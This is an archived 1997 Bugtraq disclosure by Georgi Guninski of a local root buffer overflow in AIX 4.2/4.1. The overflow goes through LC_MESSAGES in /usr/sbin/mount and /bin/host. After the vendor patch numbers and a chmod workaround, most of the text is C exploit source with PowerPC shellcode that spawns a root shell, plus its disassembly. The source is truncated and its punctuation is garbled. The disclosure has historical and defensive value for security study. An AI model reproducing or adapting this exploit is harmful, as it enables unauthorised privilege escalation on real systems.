AIX LC_MESSAGES /usr/sbin/mount and /bin/host holes AIX LC_MESSAGES /usr/sbin/mount and /bin/host holes Description: Standard buffer overflow using LC_MESSAGES Author: Georgi Guninski (guninski@linux2.vmei.acad.bg) Compromise: root (local) Vulnerable Systems: AIX 4.2 possibly 4.1 and more Date: 3 April 1997 Notes: Exploit: Date: Thu 3 Apr 1997 21:52:41 +0200 From: Georgi Guninski Reply-To: guninski@hotmail.com To: BUGTRAQ@NETSPACE.ORG Subject: AIX 4.2 LC_MESSAGES + mount exploit Hello all There seem to exist a buffer overflow condition in AIX 4.2/4.1/? when the shell variable LC_MESSAGES is long enough. /bin/host and /usr/sbin/mount are vulnerable to spawning a root shell. Solutions: 1) IBM was informed on 972903 and on 970403 wrote the following: >The APARs are going through the regression test lab right now and should >be available by next week. Here are the numbers: > AIX 4.2: APAR IX67377 > AIX 4.1: APAR IX67407 > AIX 3.2: APAR IX67405 2) a little bit ugly but works: #chmod -s /bin/host /usr/sbin/mount 3) I have not tested it but if you are in the mood you may try to change LC_MESSAGES in /usr/lib/libc.a /usr/lib/* and everywhere else to something unpredictable. If the C program does not work try the ksh script which does some brute forcing. PLEASE NOTE my e-mail addresses bellow and do NOT REPLY to this message. Georgi Guninski guninski@hotmail.com stgun@sgg.vmei.acad.bg guninski@linux2.vmei.acad.bg http://www.geocities.com/ResearchTriangle/1711 ---test2.c-------------------------------------------------------------------- ----------------------- /* AIX 4.2/4.1 LC_MESSEGAS /usr/sbin/mount exploit by Georgi Guninski ---------------------------------------- DISCLAIMER This program is for educational purpose ONLY. Do not use it without permission. The usual standard disclaimer applies especially the fact that Georgi Guninski is not liable for any damages caused by direct or indirect use of the information or functionality provided by this program. Georgi Guninski his employer or any Internet provider bears NO responsibility for content or misuse of this program or any derivatives thereof. By using this program you accept the fact that any damage (dataloss system crash system compromise etc.) caused by the use of this program is not Georgi Guninski's responsibility. In case you distribute this please keep the disclaimer and my addresses. ----------------------------------------- Use the IBM C compiler. Compile with: cc -g test2.c ----------------- Georgi Guninski guninski@hotmail.com sgg@vmei.acad.bg guninski@linux2.vmei.acad.bg http://www.geocities.com/ResearchTriangle/1711 Suggestions comments and job offers are welcome! 22-Mar-97 */ #include #include #include char prog[100]="/usr/sbin/mount"; char prog2[30]="mount"; extern int execv(); char *createvar(char *name char *value) { char *c; int l; l=strlen(name)+strlen(value)+4; if (! (c=malloc(l))) {perror("error allocating");exit(2);}; strcpy(c name); strcat(c = ); strcat(c value); putenv(c); return c; } /*The program*/ main(int argc char **argv char **env) { /*The code*/ unsigned int code[]={ 0x7c0802a6 0x9421fbb0 0x90010458 0x3c60f019 0x60632c48 0x90610440 0x3c60d002 0x60634c0c 0x90610444 0x3c602f62 0x6063696e 0x90610438 0x3c602f73 0x60636801 0x3863ffff 0x9061043c 0x30610438 0x7c842278 0x80410440 0x80010444 0x7c0903a6 0x4e800420 0x0 }; /* disassembly 7c0802a6 mfspr r0 LR 9421fbb0 stu SP -1104(SP) --get stack 90010458 st r0 1112(SP) 3c60f019 cau r3 r0 0xf019 --CTR 60632c48 lis r3 r3 11336 --CTR 90610440 st r3 1088(SP) 3c60d002 cau r3 r0 0xd002 --TOC 60634c0c lis r3 r3 19468 --TOC 90610444 st r3 1092(SP) 3c602f62 cau r3 r0 0x2f62 --'/bin/sh\x01' 6063696e lis r3 r3 26990 90610438 st r3 1080(SP) 3c602f73 cau r3 r0 0x2f73 60636801 lis r3 r3 26625 3863ffff addi r3 r3 -1 9061043c st r3 1084(SP) --terminate with 0 30610438 lis r3 SP 1080 7c842278 xor r4 r4 r4 --argv=NULL 80410440 lwz RTOC 1088(SP) 80010444 lwz r0 1092(SP) --jump 7c0903a6 mtspr CTR r0 4e800420 bctr --jump */ #define MAXBUF 600 unsigned int buf[MAXBUF]; unsigned int frame[MAXBUF]; unsigned int i nop mn; int max; int QUIET=0; int dobuf=0; char VAR[30]="LC_MESSAGES"; unsigned int toc; unsigned int eco; unsigned int *pt; char *t; int egg=1; int ch; unsigned int reta; /* return address */ int corr=4604; char *args[4]; char *newenv[8]; int justframes=1; int startwith=0; mn=78; max=100; if (argc>1) corr = atoi(argv[1]); pt=(unsigned *) &execv; toc=*(pt+1); eco=*pt; if ( ((mn+strlen((char*)&code)/4)>max) || (max>MAXBUF) ) { perror("Bad parameters"); exit(1); } #define OO 7 *((unsigned short *)code + OO + 2)=(unsigned short) (toc & 0x0000ffff); *((unsigned short *)code + OO)=(unsigned short) ((toc >> 16) & 0x0000ffff); *((unsigned short *)code + OO + 8 )=(unsigned short) (eco & 0x0000ffff); *((unsigned short *)code + OO + 6 )=(unsigned short) ((eco >> 16) & 0x0000ffff); reta=startwith ? (unsigned) &buf[mn]+corr : (unsigned)&buf[0]+corr; for(nop=0;nop Addendum(if any): [Back] to Fyodor's Exploit World!